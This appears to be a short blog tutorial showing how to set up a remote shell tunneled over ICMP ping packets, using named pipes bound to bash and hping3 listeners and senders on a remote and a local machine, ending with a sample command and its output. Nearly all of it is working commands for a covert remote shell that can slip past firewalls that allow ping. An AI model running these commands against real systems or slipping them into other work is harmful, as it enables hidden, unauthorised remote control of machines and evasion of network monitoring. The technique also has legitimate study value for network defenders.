Setup a Remote Shell over ICMP (ping)
There may be a tighter way to accomplish this, but these are the basic steps for setting up a remote shell over ICMP.
remote
First, on the remote system we setup some named pipes, and attach them to the STDIN
and STDOUT
(we also direct STDERR
to STDIN
) of a shell:
mknod /tmp/in p # depending on your system you may have to use mkfifo
mknod /tmp/out p
bash </tmp/in >/tmp/out 2>&1
remote
Next step, direct STDOUT
of a listening hping
to the "in" pipe on the remote system, followed by an outgoing hping
reading from the "out" pipe.
hping3 [LOCAL_BOX_IP] --listen MSGIDIN -I eth0 --icmp > /tmp/in &
hping3 [LOCAL_BOX_IP] --sign MSGIDOUT -I eth0 --icmp -d 1200 --file /tmp/out &
local
Now we move to the local system, setting up a listening hping
to receive the output from the remote box. Followed by making another named pipe for an outgoing hping
to read, which we'll use to send commands to the remote system:
hping3 [REMOTE_BOX_IP] --listen MSGIDOUT -I eth0 --icmp &
mknod /tmp/out p
hping3 [REMOTE_BOX_IP] --sign MSGIDIN -I eth0 --icmp -d 1200 --file /tmp/out &
local
Now all you have to do is send command to the named type on the local system, don't worry about the lack of prompt:
cat > /tmp/out
hostname
remote.example.com
Tada! It's a little messy, you might end up with some duplicated output — but it works.